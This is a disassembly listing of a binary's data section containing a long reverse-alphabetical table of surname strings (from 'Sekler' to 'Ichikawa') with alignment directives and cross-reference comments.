___:0042E834o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E830o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E82Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E828o align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E824o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E820o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E81Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E818o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E814o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E810o align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E80Co aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E808o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E804o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E800o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E7FCo align 10h aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E7F8o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E7F4o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E7F0o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7ECo aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7E8o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7E4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7E0o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7DCo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7D8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7D4o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E7D0o align 10h aSatin db 'Satin',0 ; DATA XREF: ___:0042E7CCo align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E7C8o align 10h aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7C4o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7C0o align 10h aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7BCo align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7B8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7B4o aSamson db 'Samson',0 ; DATA XREF: ___:0042E7B0o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E7ACo align 10h aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7A8o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E7A4o align 10h aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7A0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E79Co align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E798o aRush db 'Rush',0 ; DATA XREF: ___:0042E794o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E790o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E78Co align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E788o align 10h aRu db 'Ru',0 ; DATA XREF: ___:0042E784o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E780o align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E77Co aRonen db 'Ronen',0 ; DATA XREF: ___:0042E778o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E774o align 10h aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E770o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E76Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E768o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E764o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E760o align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E75Co align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E758o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E754o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E750o align 10h aRhea db 'Rhea',0 ; DATA XREF: ___:0042E74Co align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E748o align 10h aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E744o aRenick db 'Renick',0 ; DATA XREF: ___:0042E740o align 10h aRemak db 'Remak',0 ; DATA XREF: ___:0042E73Co align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E738o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E734o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E730o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E72Co align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E728o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E724o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E720o align 10h aRangan db 'Rangan',0 ; DATA XREF: ___:0042E71Co align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E718o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E714o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E710o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E70Co align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E708o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E704o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E700o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E6FCo aPugh db 'Pugh',0 ; DATA XREF: ___:0042E6F8o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E6F4o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E6F0o align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6ECo align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6E8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6E4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6E0o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6DCo aPresper db 'Presper',0 ; DATA XREF: ___:0042E6D8o aPowers db 'Powers',0 ; DATA XREF: ___:0042E6D4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6D0o aPoma db 'Poma',0 ; DATA XREF: ___:0042E6CCo align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6C8o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6C4o aPolak db 'Polak',0 ; DATA XREF: ___:0042E6C0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6BCo aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6B8o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6B4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6B0o align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E6ACo align 10h aPlous db 'Plous',0 ; DATA XREF: ___:0042E6A8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6A4o aPlant db 'Plant',0 ; DATA XREF: ___:0042E6A0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E69Co aPinot db 'Pinot',0 ; DATA XREF: ___:0042E698o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E694o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E690o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E68Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E688o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E684o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E680o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E67Co align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E678o align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E674o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E670o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E66Co align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E668o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E664o aPenny db 'Penny',0 ; DATA XREF: ___:0042E660o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E65Co aPederson db 'Pederson',0 ; DATA XREF: ___:0042E658o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E654o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E650o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E64Co aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E648o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E644o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E640o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E63Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E638o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E634o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E630o align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E62Co align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E628o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E624o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E620o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E61Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E618o align 10h aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E614o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E610o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E60Co aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E608o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E604o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E600o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E5FCo align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E5F8o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E5F4o aOtten db 'Otten',0 ; DATA XREF: ___:0042E5F0o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5ECo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5E8o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5E4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5E0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5DCo aOray db 'Oray',0 ; DATA XREF: ___:0042E5D8o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E5D4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5D0o aOman db 'Oman',0 ; DATA XREF: ___:0042E5CCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5C8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5C4o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E5C0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5BCo align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5B8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5B4o aOh db 'Oh',0 ; DATA XREF: ___:0042E5B0o align 10h aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5ACo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5A8o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5A4o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E5A0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E59Co align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E598o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E594o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E590o align 10h aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E58Co align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E588o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E584o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E580o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E57Co align 10h aNesci db 'Nesci',0 ; DATA XREF: ___:0042E578o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E574o align 10h aNelson db 'Nelson',0 ; DATA XREF: ___:0042E570o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E56Co aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E568o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E564o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E560o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E55Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E558o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E554o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E550o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E54Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E548o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E544o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E540o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E53Co aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E538o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E534o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E530o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E52Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E528o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E524o align 10h aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E520o align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E51Co aMorani db 'Morani',0 ; DATA XREF: ___:0042E518o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E514o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E510o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E50Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E508o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E504o align 10h aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E500o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E4FCo align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E4F8o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E4F4o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E4F0o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4ECo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4E8o aMini db 'Mini',0 ; DATA XREF: ___:0042E4E4o align 10h aMinh db 'Minh',0 ; DATA XREF: ___:0042E4E0o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E4DCo align 10h aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4D8o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4D4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4D0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4CCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4C8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4C4o aMerz db 'Merz',0 ; DATA XREF: ___:0042E4C0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4BCo aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4B8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4B4o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4B0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4ACo aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4A8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4A4o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4A0o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E49Co aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E498o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E494o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E490o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E48Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E488o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E484o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E480o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E47Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E478o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E474o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E470o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E46Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E468o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E464o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E460o align 4 aMazzali db 'Mazzali',0 aMay db 'May',0 aMauzy db 'Mauzy',0 align 10h aMattson db 'Mattson',0 aMatsukata db 'Matsukata',0 align 4 aMatarazzo db 'Matarazzo',0 align 10h aMatalka db 'Matalka',0 aMass db 'Mass',0 align 10h aMarubini db 'Marubini',0 align 4 aMarton db 'Marton',0 align 4 aMartochio db 'Martochio',0 align 10h aMartinez db 'Martinez',0 align 4 aMarques db 'Marques',0 aMargetts db 'Margetts',0 align 10h aMargalit db 'Margalit',0 align 4 aMarcus db 'Marcus',0 align 4 aMarchbanks db 'Marchbanks',0 align 10h aMarch db 'March',0 align 4 aMantovan db 'Mantovan',0 align 4 aManganiello db 'Manganiello',0 aMandel db 'Mandel',0 align 4 aManalis db 'Manalis',0 aMalova db 'Malova',0 align 4 aMaller db 'Maller',0 align 10h aMalatesta db 'Malatesta',0 align 4 aMaisano db 'Maisano',0 aMaineHershey db 'Maine-Hershey',0 align 4 aMaier db 'Maier',0 align 4 aMahony db 'Mahony',0 align 4 aMaggio db 'Maggio',0 align 4 aMadigan db 'Madigan',0 aMacy db 'Macy',0 align 4 aMacmillan db 'MacMillan',0 align 4 aMackenney db 'Mackenney',0 align 4 aMacintyre db 'Macintyre',0 align 10h aMaceachern db 'Maceachern',0 align 4 aMacdonald db 'Macdonald',0 align 4 aMaccormac db 'Maccormac',0 align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E3C4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3C0o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3BCo align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3B8o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3B4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3B0o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3ACo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3A8o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3A4o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3A0o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E39Co align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E398o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E394o align 10h aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E390o aLoss db 'Loss',0 ; DATA XREF: ___:0042E38Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E388o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E384o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E380o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E37Co aLivi db 'Livi',0 ; DATA XREF: ___:0042E378o align 10h aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E374o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E370o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E36Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E368o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E364o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E360o align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E35Co aLine db 'Line',0 ; DATA XREF: ___:0042E358o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E354o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E350o align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E34Co aLim db 'Lim',0 ; DATA XREF: ___:0042E348o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E344o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E340o align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E33Co align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E338o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E334o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E330o align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E32Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E328o align 10h aLenard db 'Lenard',0 ; DATA XREF: ___:0042E324o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E320o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E31Co align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E318o align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E314o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E310o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E30Co aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E308o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E304o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E300o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E2FCo align 10h aLandes db 'Landes',0 ; DATA XREF: ___:0042E2F8o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E2F4o ; ___:0043294Co align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E2F0o align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2ECo ; ___:off_4327E8o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2E8o aLa db 'La',0 ; DATA XREF: ___:0042E2E4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2E0o align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2DCo align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2D8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2D4o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2D0o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2CCo aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2C8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2C4o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2C0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2BCo aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2B8o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2B4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2B0o align 10h aKool db 'Kool',0 ; DATA XREF: ___:0042E2ACo align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2A8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2A4o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2A0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E29Co align 10h aKohn db 'Kohn',0 ; DATA XREF: ___:0042E298o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E294o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E290o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E28Co align 10h aKlint db 'Klint',0 ; DATA XREF: ___:0042E288o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E284o aKling db 'Kling',0 ; DATA XREF: ___:0042E280o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E27Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E278o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E274o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E270o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E26Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E268o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E264o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E260o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E25Co aKimura db 'Kimura',0 ; DATA XREF: ___:0042E258o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E254o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E250o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E24Co align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E248o align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E244o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E240o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E23Co aKempton db 'Kempton',0 ; DATA XREF: ___:0042E238o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E234o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E230o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E22Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E228o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E224o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E220o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E21Co aKasten db 'Kasten',0 ; DATA XREF: ___:0042E218o align 10h aKassower db 'Kassower',0 ; DATA XREF: ___:0042E214o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E210o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E20Co align 10h aKamel db 'Kamel',0 ; DATA XREF: ___:0042E208o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E204o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E200o align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E1FCo align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E1F8o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E1F4o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E1F0o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1ECo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1E8o aJulious db 'Julious',0 ; DATA XREF: ___:0042E1E4o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1E0o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1DCo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1D8o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1D4o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E1D0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1CCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1C8o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1C4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1C0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1BCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1B8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1B4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1B0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1ACo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1A8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1A4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1A0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E19Co align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E198o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E194o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E190o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E18Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E188o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E184o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E180o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E17Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E178o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E174o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E170o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E16Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E168o align 4 aIchikawa db 'Ichikawa',0 ; 